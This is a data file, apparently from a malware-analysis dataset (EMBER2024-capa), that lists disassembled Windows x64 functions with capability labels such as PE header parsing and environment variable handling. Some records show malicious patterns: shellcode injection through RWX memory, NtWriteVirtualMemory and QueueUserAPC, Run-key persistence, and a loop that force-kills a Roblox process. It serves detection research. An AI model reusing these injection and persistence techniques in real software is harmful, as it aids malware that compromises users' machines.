joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400352c8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140020d08
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140035352
cmp byte [rbp - 0x21], r15b
je 0x14003534d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140035388
call fcn.14002a2d8
test eax, eax
jne 0x140035374
cmp byte [rbp - 0x21], r15b
je 0x14003536c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140035388
cmp byte [rbp - 0x21], r15b
je 0x140035385
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14002e51c
test eax, eax
jne 0x140035428
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140020d08
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400353c7
cmp byte [rbp - 0x21], r15b
je 0x1400353fc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400353fc
call fcn.14002a2d8
test eax, eax
jne 0x1400353e8
cmp byte [rbp - 0x21], r15b
je 0x1400353e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400353fc
cmp byte [rbp - 0x21], r15b
je 0x1400353f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14002e51c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140035428
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003542b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140035439
mov rcx, rdi
call fcn.14002a088
cmp byte [rbp + 0x3f], r15b
je 0x140035448
mov rcx, qword [rbp + 0x27]
call fcn.14002a088
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140036e00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140036e28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140036e28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001a64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aae
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab0
xor al, al
add rsp, 0x28
ret

Function at 0x14000a858
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000a8c7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a8c7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a8c7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a8c7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a8c7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a8c7
cmp dword [rcx + 0xf8], 0
je 0x14000a8c7
mov ecx, ebx
call fcn.14000a978
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000a754
nop
cmp dword [rbp + 0x20], 0
je 0x14000a915
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000a920
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000a858

Function at 0x14000aa5c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000a858
Function at 0x14000e78c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000e7bc
xor eax, eax
jmp 0x14000e87f
mov rbp, rbx
cmp word [rax], si
je 0x14000e7e1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000e7c8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000e7c4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000e6ac
movsxd r14, eax
test eax, eax
jne 0x14000e81f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000e7b5
mov rcx, r14
call fcn.14000f3f4
mov rdi, rax
test rax, rax
jne 0x14000e838
xor ecx, ecx
call fcn.14000bd94
jmp 0x14000e814
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000e6ac
test eax, eax
jne 0x14000e869
mov rcx, rdi
call fcn.14000bd94
jmp 0x14000e873
xor ecx, ecx
call fcn.14000bd94
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011ac0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000620c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140011b4a
cmp byte [rbp - 0x21], r15b
je 0x140011b45
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140011b80
call fcn.14000fc04
test eax, eax
jne 0x140011b6c
cmp byte [rbp - 0x21], r15b
je 0x140011b64
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140011b80
cmp byte [rbp - 0x21], r15b
je 0x140011b7d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000cdf8
test eax, eax
jne 0x140011c20
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000620c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140011bbf
cmp byte [rbp - 0x21], r15b
je 0x140011bf4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140011bf4
call fcn.14000fc04
test eax, eax
jne 0x140011be0
cmp byte [rbp - 0x21], r15b
je 0x140011bd9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140011bf4
cmp byte [rbp - 0x21], r15b
je 0x140011bf1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000cdf8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140011c20
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140011c23
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140011c31
mov rcx, rdi
call fcn.14000bd94
cmp byte [rbp + 0x3f], r15b
je 0x140011c40
mov rcx, qword [rbp + 0x27]
call fcn.14000bd94
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140014780
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400147a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400147a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140014a20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rdx + 8]
xor edi, edi
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rbx + rax], dil
jne 0x140014a40
test rax, rax
je 0x140014a97
mov qword [rsp + 0x40], rbp
lea rsi, [0x140022c50]
mov rbp, rbx
nop dword [rax]
mov r8, rsi
lea rdx, str._2hhx
mov rcx, rbp
call fcn.140001010
inc rsi
add rdi, 2
add rbp, 2
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140014a84
cmp rdi, rax
jb 0x140014a60
mov rbp, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x1770
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x1770
lea r8, [0x140022c50]
mov rcx, rax
mov rdx, rsi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call rbx
lea rdx, str.RtlCreateUserThread
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTestAlert
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbx
mov rbx, qword [rsp + 0x50]
mov eax, 1
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140114780]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140114790]
mov dword [rax], 1
mov rax, qword [0x1401147a0]
mov dword [rax], 1
mov rax, qword [0x140114720]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140114770]
mov dword [0x14013c020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140114860]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140114840]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140113b00]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001520
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x1400015ff
mov rax, qword [rbp + 0x28]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::size() const
lea esi, [rax + 1]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rbx, rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rdx, rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [0x14010d030]
mov rdx, rax
mov rax, qword [0x140114120]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
jmp 0x14000162a
lea rax, str.___.
mov rdx, rax
mov rax, qword [0x140114100]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
nop
add rsp, 0x40
pop rbx
pop rsi
pop rbp
ret
Function at 0x140001633
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xcf]
mov qword [rbp + 0x108], rax
nop
nop
lea rdx, [rbp + 0xcf]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.Windows
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xcf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xff]
mov qword [rbp + 0x100], rax
nop
nop
lea rcx, [rbp + 0xff]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0xd0]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.AddToStartup_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, str.taskkill__F__IM_RobloxPlayerBeta.exe
mov rcx, rax
call sym.system
mov ecx, 0x55f0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001652
Function at 0x140017420
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140017490
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14013c0b4]
mov rbx, rcx
test esi, esi
jle 0x1400175c0
mov rax, qword [0x14013c0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400174db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140017565
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400174c0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400175e2
mov rax, qword [0x14013c0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14013c0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400175c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001755e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140017570
add dword [0x14013c0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14013c0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001755e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400174e8
mov rax, qword [0x14013c0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140017cb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x140017de0
ja 0x140017cf8
test edx, edx
je 0x140017d78
mov eax, dword [0x14013c108]
test eax, eax
je 0x140017e60
mov dword [0x14013c108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x140017ce5
mov eax, dword [0x14013c108]
test eax, eax
je 0x140017ce5
lea r12, [0x14013c120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14013c100]
test rbx, rbx
je 0x140017d64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140017e88
test eax, eax
jne 0x140017e88
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017d38
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140017ce5
mov eax, dword [0x14013c108]
test eax, eax
jne 0x140017df8
mov eax, dword [0x14013c108]
cmp eax, 1
jne 0x140017ce5
mov rbx, qword [0x14013c100]
test rbx, rbx
je 0x140017db1
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sym.free
test rbx, rbx
jne 0x140017da0
lea rcx, [0x14013c120]
mov qword [0x14013c100], 0
mov dword [0x14013c108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x140017ce5
call sym._fpreset
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14013c120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14013c100]
test rbx, rbx
je 0x140017e4c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140017e78
test rsi, rsi
je 0x140017e78
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017e28
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140017d82
lea rcx, [0x14013c120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x140017cdb
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017e28
jmp 0x140017e4c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017d38
jmp 0x140017d64

Function at 0x140017ea0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140017eb8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140017ec0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140017ed0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140017f1d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140017f14
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140017f1f
add rax, 0x28
cmp rax, r9
jne 0x140017f00
xor eax, eax
ret
Function at 0x140017f20
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140017fb0
mov rdx, qword [0x140114720]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140017f9e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140017f9e
cmp word [rax + 0x18], 0x20b
jne 0x140017f9e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140017fb0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140017f89
add rbx, 0x28
cmp rbx, rdi
je 0x140017fb0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140017f80
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140017fc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x140114720]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140017fe0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140017fe8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140017fe0
movzx eax, word [rdx + 0x14]
sub rcx, r8
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140018035
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001802c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140017fe0
add rax, 0x28
cmp rax, r9
jne 0x140018018
xor eax, eax
ret

Function at 0x140018040
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140114720]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001805f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140018068
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001805f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140018080
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140114720]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400180a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400180a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400180a0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400180f0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400180e7
test rcx, rcx
je 0x1400180a0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400180d8
xor eax, eax
ret

Function at 0x140018100
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140114720]
xor edx, edx
cmp word [rax], 0x5a4d
